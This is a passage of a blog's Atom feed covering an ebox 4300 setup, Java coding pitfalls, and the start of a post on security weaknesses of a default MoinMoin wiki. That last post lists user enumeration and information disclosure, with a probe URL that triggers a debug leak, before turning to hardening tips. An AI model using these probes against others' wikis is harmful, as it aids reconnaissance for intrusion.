id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;# /etc/fstab: static file system information.&lt;br /&gt;#&lt;br /&gt;# &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;proc            /proc           proc    defaults        0       0&lt;br /&gt;/dev/hdc2       /               ext2    noatime,errors=remount-ro 0       1&lt;br /&gt;#/dev/hdc1       none            swap    sw              0       0&lt;br /&gt;tmpfs           /tmp            tmpfs   defaults           0    0&lt;br /&gt;tmpfs           /var/tmp        tmpfs   defaults           0    0&lt;/pre&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;As  you can see I also commented the line that mounts the swap partition as  I dont want it neither for the sake of the overall system performance  as swap is mapped to the compact flash in this machine. &lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Wheretogetit"&gt;Where to get it&lt;/h2&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;You can get this stuff or other interesting stuff under Norhtec's web page &lt;a class="http" href="http://www.norhtec.com/"&gt;http://www.norhtec.com&lt;/a&gt;. The name they give to this machines is &lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/MicroClient"&gt;MicroClient&lt;/a&gt; Sr &lt;a class="http" href="http://www.norhtec.com/products/mcsr/index.html"&gt;http://www.norhtec.com/products/mcsr/index.html&lt;/a&gt;  but I guess the genuine name is Ebox 4300. You can find this unit as it  is (without hard drive or wifi) from 200$ (excluding shipping costs)  but you can customize it with addons. The support from Norhtec company  was great and we don't have any troubles in the shipping. By they are  Thailand based so don't mislead the name with a North American company. &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Somefun"&gt;Some fun&lt;/h2&gt;&lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;b&gt;psp-ssh&lt;/b&gt; allows you to run a ssh client on your PSP! &lt;span class="anchor" id="line-66"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line862"&gt;I grabbed [&lt;a class="http" href="http://zx81.zx81.free.fr/serendipity/index.php?/categories/34-SSH-Client"&gt;http://zx81.zx81.free.fr/serendipity/index.php?/categories/34-SSH-Client&lt;/a&gt; this version] for my PSP (It may differ on you PSP firmware version,so read the psp-ssh documentation) &lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;Next drop the folder in the following dir (windows based) &lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;&amp;lt;psp_drive_unit&amp;gt;:\PSP\GAME380\pspssh&lt;/pre&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;One important thing version 380 does not work without static ip wireless configuration...don't ask me why. &lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;You will have to generate a random number. With the start button a keyboard will appear &lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h3 id="Theresult"&gt;The result&lt;/h3&gt;&lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line867"&gt;&lt;img alt="pspebox.JPG" class="attachment" src="http://wiki.eslimasec.com/esliwiki/IamEBOX4300Post?action=AttachFile&amp;amp;do=get&amp;amp;target=pspebox.JPG" title="pspebox.JPG" /&gt; &lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="InterestingLinks"&gt;Interesting Links&lt;/h2&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;I found is this post from Nicolas314 regarding the former ebox 2300 but I think some things might be valid &lt;a class="http" href="http://nicolas314.wordpress.com/norhtec-microclient-jr/"&gt;http://nicolas314.wordpress.com/norhtec-microclient-jr/&lt;/a&gt; &lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;An  extensive review of the ebox 4300 from Eric House where he discuss  howto take advance of the internal video processor for multimedia use &lt;a class="http" href="http://www.linuxdevices.com/articles/AT4708024578.html"&gt;http://www.linuxdevices.com/articles/AT4708024578.html&lt;/a&gt; &lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/DioNiSio"&gt;DioNiSio&lt;/a&gt; project page, developed by Ger &lt;a class="http" href="http://kung-foo.dhs.org/dionisio/"&gt;http://kung-foo.dhs.org/dionisio/&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-7640470739427603820?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/7640470739427603820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/ebox-4300.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/7640470739427603820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/7640470739427603820'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/ebox-4300.html' title='ebox 4300'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-4433631161964028162</id><published>2010-11-27T21:21:00.001-05:00</published><updated>2011-01-23T01:31:21.482-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><title type='text'>Java Nightmares</title><content type='html'>&lt;h2 id="Objective.3ASOSwithJavasilly-but-wasting-timecodingerrors"&gt;Objective: SOS with Java silly-but-wasting-time coding errors&lt;/h2&gt;&lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="table-of-contents"&gt;&lt;div class="table-of-contents-heading"&gt;Contents&lt;/div&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#JavaNightmares"&gt;Java Nightmares&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Objective.3ASOSwithJavasilly-but-wasting-timecodingerrors"&gt;Objective: SOS with Java silly-but-wasting-time coding errors&lt;/a&gt;&lt;ol&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Mycodereadtwolinesatatime.3F"&gt;My code read two lines at a time?&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Stringcomparison"&gt;String comparison&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Showiconembededintojarfileworkingineclipseandinyourexecutablefile"&gt;Show icon embedded into jar file working in eclipse and in your executable file&lt;/a&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Compiling.2Cjaring.2CsplashscreenandMANIFEST.MFfile"&gt;Compiling, jaring, splash screen and MANIFEST.MF file&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;li&gt; &lt;a href="http://wiki.eslimasec.com/esliwiki/JavaNightmaresPost#Links"&gt;Links&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-8"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Mycodereadtwolinesatatime.3F"&gt;My code read two lines at a time?&lt;/h3&gt;&lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Noope...sometimes you will get astonished about your System.in.read() in a small code that readlines from file, for example: &lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-32"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-33"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-34"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-35"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;import java.io.*;&lt;br /&gt;class FileRead &lt;br /&gt;{&lt;br /&gt;   public static void main(String args[])&lt;br /&gt;  {&lt;br /&gt;      try{&lt;br /&gt;  &lt;br /&gt;    FileInputStream fstream = new FileInputStream("textfile.txt");&lt;br /&gt; &lt;br /&gt;    DataInputStream in = new DataInputStream(fstream);&lt;br /&gt;        BufferedReader br = new BufferedReader(new InputStreamReader(in));&lt;br /&gt;    String strLine;&lt;br /&gt;   &lt;br /&gt;    while ((strLine = br.readLine()) != null)   {&lt;br /&gt;     &lt;br /&gt;      System.out.println (strLine);&lt;br /&gt;***      System.in.read();****&lt;br /&gt;    }&lt;br /&gt;       in.close();&lt;br /&gt;    }catch (Exception e){//Catch exception if any&lt;br /&gt;      System.err.println("Error: " + e.getMessage());&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;&lt;span class="anchor" id="line-36"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;This  code will show two lines at a time as It will get the trailing line feed  from the previous System.out.println(strLine) and won't wait for your  desired enter key press...silly huh &lt;span class="anchor" id="line-37"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-38"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Stringcomparison"&gt;String comparison&lt;/h3&gt;&lt;span class="anchor" id="line-39"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Forget "=="  or "!=" as they won't be reported as errors but won't work for comparing  strings (its ascii content), the java way is &lt;/div&gt;&lt;pre&gt;if (string1.equals(string2))&lt;br /&gt;if (string1.compareTo(string2) &amp;lt; 0)&lt;br /&gt;if (string1.equalsIgnoreCase(string2))&lt;/pre&gt;&lt;span class="anchor" id="line-45"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-46"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Showiconembededintojarfileworkingineclipseandinyourexecutablefile"&gt;Show icon embedded into jar file working in eclipse and in your executable file&lt;/h3&gt;&lt;span class="anchor" id="line-47"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;For some  reason I wasn't able to clearly identify, java or eclipse likes to  complicate things when you want to show images that you want to pack in  to your program jar file. &lt;span class="anchor" id="line-48"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-49"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;If  you put the icon you want to display in your main frame in you  "./images/" path into your eclipse working directory eclipse will say ok  everything alright when you press the "Run" button. This would be the  code: &lt;span class="anchor" id="line-50"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-51"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-52"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;myFrame.setIconImage(myFrame.getToolkit().getImage("images/no_more.PNG"));&lt;/pre&gt;&lt;span class="anchor" id="line-53"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;Then  when you decide to create your jar file (File/Export/Runnable Jar file)  that you expect to run like in the Eclipse IDE... NOOOOOPE! the  resulting file will NOT have the images directory embedded... this is  something I hated as I wanted a unique portable jar with all  files/resources packend inside. &lt;span class="anchor" id="line-54"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-55"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;You think about possible workarounds and you read about other functions like specifying paths like URLs?? ok lets try &lt;span class="anchor" id="line-56"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-57"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-58"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;URL imgURL = getClass().getResource("images/no_more.PNG");&lt;br /&gt;myFrame.setIconImage(myFrame.getToolkit().getImage(imgURL));&lt;/pre&gt;&lt;span class="anchor" id="line-59"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;}}} &lt;span class="anchor" id="line-60"&gt;&lt;/span&gt;OUCH...Eclipse  error the getClass wants a class/package or something that looks like  it, so the dirty thing i dit was creating a jar file containing my  desired PNG file inside a images folder and add it to the project in the  menu "Project/Properties/Java Build Path/Libraries/Add Jars". Ok now  eclipse does not complain. &lt;span class="anchor" id="line-61"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-62"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;The  thing is in your exported jar file check that you PNG file is in the  appropriate folder that match to the "getResource" function invocation  you did in the code and it should work &lt;span class="anchor" id="line-63"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-64"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line874"&gt;If anyone has a hint into making this more straightforward please let me know! &lt;span class="anchor" id="line-65"&gt;&lt;/span&gt;&lt;/div&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-66"&gt;&lt;/span&gt; &lt;/div&gt;&lt;h3 id="Compiling.2Cjaring.2CsplashscreenandMANIFEST.MFfile"&gt;Compiling, jaring, splash screen and MANIFEST.MF file&lt;/h3&gt;&lt;span class="anchor" id="line-67"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;To compile just use &lt;span class="anchor" id="line-68"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-69"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-70"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;javac program.java&lt;/pre&gt;&lt;span class="anchor" id="line-71"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;The  MANIFEST.MF describes a jar itself and must for instance define the  main class to execute. Here I present the manifest file from the well  known webscarab http proxy &lt;span class="anchor" id="line-72"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-73"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-74"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-75"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-76"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-77"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-78"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-79"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-80"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-81"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-82"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-83"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-84"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-85"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-86"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-87"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;Manifest-Version: 1.0&lt;br /&gt;Ant-Version: Apache Ant 1.6.5&lt;br /&gt;Created-By: 1.5.0_06-b05 (Sun Microsystems Inc.)&lt;br /&gt;Main-Class: org.owasp.webscarab.WebScarab&lt;br /&gt;Built-By: rdawes&lt;br /&gt;Class-Path: lib/concurrent.jar lib/htmlparser.jar lib/bsh-2.0b1.jar li&lt;br /&gt; b/jfreechart-0.9.12.jar lib/jcommon-0.8.7.jar lib/bsf-2.3.0.jar lib/j&lt;br /&gt; hall-2.0_02.jar lib/chardet.jar lib/tagsoup-1.0rc2.jar lib/wsdl4j.jar&lt;br /&gt;  lib/openamf.jar lib/commons-logging-1.0.4.jar&lt;br /&gt;&lt;br /&gt;Name: org/owasp/webscarab/&lt;br /&gt;Implementation-Title: org.owasp.webscarab&lt;br /&gt;Implementation-Vendor: OWASP Foundation.&lt;br /&gt;Implementation-Version: 20070504-1631&lt;/pre&gt;&lt;span class="anchor" id="line-88"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;In  my case I wanted to add a nice/fast-to-include splash screen. In order  to do so you don't need to code anything It can be done automatically if  you specify so in the manifest file like this. (&lt;b&gt;warning be very careful with file types, "PNG" != "png" for java&lt;/b&gt; so in the images file the same case sensitive file must exists) &lt;span class="anchor" id="line-89"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-90"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-91"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-92"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-93"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-94"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-95"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;Manifest-Version: 1.0&lt;br /&gt;Class-Path: .&lt;br /&gt;Created-By: 1.6.0_14 (Sun Microsystems Inc.)&lt;br /&gt;SplashScreen-Image: images/no_more_splash.PNG&lt;br /&gt;Main-Class: NoMore&lt;/pre&gt;&lt;span class="anchor" id="line-96"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;To jar some classes and add some images to the jar file once the manifest file is customize just use &lt;span class="anchor" id="line-97"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-98"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-99"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;jar cmf MANIFEST.MF output_file.jar program_classes.class images/*&lt;/pre&gt;&lt;span class="anchor" id="line-100"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;For executing issue the following command &lt;span class="anchor" id="line-101"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-102"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-103"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;java -jar output_file.jar&lt;/pre&gt;&lt;span class="anchor" id="line-104"&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="line874"&gt;&lt;span class="anchor" id="line-105"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-106"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Links"&gt;Links&lt;/h2&gt;&lt;span class="anchor" id="line-107"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="http" href="http://www.devdaily.com/java/edu/qanda/pjqa00001.shtml"&gt;http://www.devdaily.com/java/edu/qanda/pjqa00001.shtml&lt;/a&gt; &lt;span class="anchor" id="line-108"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="http" href="http://www.javapractices.com/topic/TopicAction.do?Id=42"&gt;http://www.javapractices.com/topic/TopicAction.do?Id=42&lt;/a&gt; &lt;span class="anchor" id="line-109"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line891"&gt;&lt;a class="http" href="http://java.sun.com/docs/books/tutorial/uiswing/misc/splashscreen.html"&gt;http://java.sun.com/docs/books/tutorial/uiswing/misc/splashscreen.html&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2538477377812721399-4433631161964028162?l=blog.eslimasec.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.eslimasec.com/feeds/4433631161964028162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.eslimasec.com/2010/11/java-nightmares.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/4433631161964028162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2538477377812721399/posts/default/4433631161964028162'/><link rel='alternate' type='text/html' href='http://blog.eslimasec.com/2010/11/java-nightmares.html' title='Java Nightmares'/><author><name>eslimasec</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2538477377812721399.post-5028957126380761269</id><published>2010-11-27T21:20:00.001-05:00</published><updated>2011-01-23T01:31:54.971-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='moin moin hardening'/><category scheme='http://www.blogger.com/atom/ns#' term='wiki'/><title type='text'>Why a public python-moinmoin Wiki is not so good idea?</title><content type='html'>&lt;h1 id="Whyapublicpython-moinmoinWikiisnotsogoodidea.3F"&gt;&lt;/h1&gt;&lt;span class="anchor" id="line-2"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Hallo out there! in this post I'm going to discuss why setting up a Internet facing wiki based on &lt;a href="http://wiki.eslimasec.com/esliwiki/MoinMoin"&gt;MoinMoin&lt;/a&gt; isn't a great idea in terms of security. &lt;span class="anchor" id="line-3"&gt;&lt;/span&gt;I'm  referring in this issue about the specific wiki that you can deploy  from aptitude in a stable debian version by means of this command: &lt;span class="anchor" id="line-4"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-5"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-6"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;apt-get install python-moinmoin&lt;/pre&gt;&lt;span class="anchor" id="line-7"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Thus the version in which I disvered the facts (hacks) is &lt;b&gt;python-moinmoin_1.5.3-1.2&lt;/b&gt; &lt;span class="anchor" id="line-8"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-9"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line862"&gt;Wait a moment dude isn't this a &lt;a href="http://wiki.eslimasec.com/esliwiki/MoinMoin"&gt;MoinMoin&lt;/a&gt;  wiki?? yes but don't tell anyone =)..anyway I am also providing some  counter-hacks tips which maybe are not enough =( ...I like risks &lt;span class="anchor" id="line-10"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-11"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-12"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Thehacks"&gt;The hacks&lt;/h2&gt;&lt;span class="anchor" id="line-13"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Here you can find some dirty stuff I have come up you can do against a freshly installed python-&lt;a href="http://wiki.eslimasec.com/esliwiki/MoinMoin"&gt;MoinMoin&lt;/a&gt; wiki: &lt;span class="anchor" id="line-14"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;After  a normal install install with apt the default behaviour is allowing the  creation of new users. So if you thought that an ACL restricting non  authenticated users the edition of pages that is not enough. &lt;span class="anchor" id="line-15"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;The great wiki will answer to the user whether a user or password is wrong or not &lt;span class="anchor" id="line-16"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;div class="line862"&gt;There is one functionality available by default that allows the user to render a page as an XML document (&lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/DocBook"&gt;DocBook&lt;/a&gt;)  which fails if you didn't install py-XML module (which is not installed  as a python-moinmoin dependency). The debug information of this failure  contains information like this &lt;span class="anchor" id="line-17"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" id="line-18"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-19"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-20"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-21"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-22"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;* Date: Mon, 15 Dec 2008 22:36:58 +0000&lt;br /&gt;    * Platform: Linux gnomo 2.6.18-6-xen-686 #1 SMP Thu May 8 11:28:36 UTC 2008 i686&lt;br /&gt;    * Python: Python 2.4.1 (/usr/bin/python)&lt;br /&gt;    * MoinMoin: Release 1.8.0 (release)&lt;/pre&gt;&lt;span class="anchor" id="line-23"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line874"&gt;you can access this failing facility by seleccing the "render as docbook" action or directly quering: &lt;span class="anchor" id="line-24"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-25"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-26"&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre&gt;http://&amp;lt;www.site.com&amp;gt;/HelpContents?action=format&amp;amp;mimetype=xml/docbook&lt;/pre&gt;&lt;span class="anchor" id="line-27"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;Some other residual help stuff installed by default can lead to internal information disclosure like the &lt;a class="nonexistent" href="http://wiki.eslimasec.com/esliwiki/SystemInformation"&gt;SystemInformation&lt;/a&gt; page &lt;span class="anchor" id="line-28"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;/div&gt;&lt;h2 id="Thecounterhacks"&gt;The counter hacks&lt;/h2&gt;&lt;span class="anchor" id="line-29"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="line862"&gt;Now I tell  you some advices so that your wiki is a bit more secure...remember there  is never 100% security as it finally depends on the human being &lt;img alt=":)" height="15" src="http://wiki.eslimasec.com/wiki/modern/img/smile.png" title=":)" width="15" /&gt; &lt;span class="anchor" id="line-30"&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div class="line862"&gt;Disable  the creation of additional users: the trip that worked for me is the  inception of a new custom module that gets called when the action of  creating a user is invoked. Therefore you will edit a new file &lt;b&gt;&amp;lt;path_to_your_wiki&amp;gt;/data/plugin/action/userform.py&lt;/b&gt; &lt;span class="anchor" id="line-31"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="line867"&gt;&lt;span class="anchor" 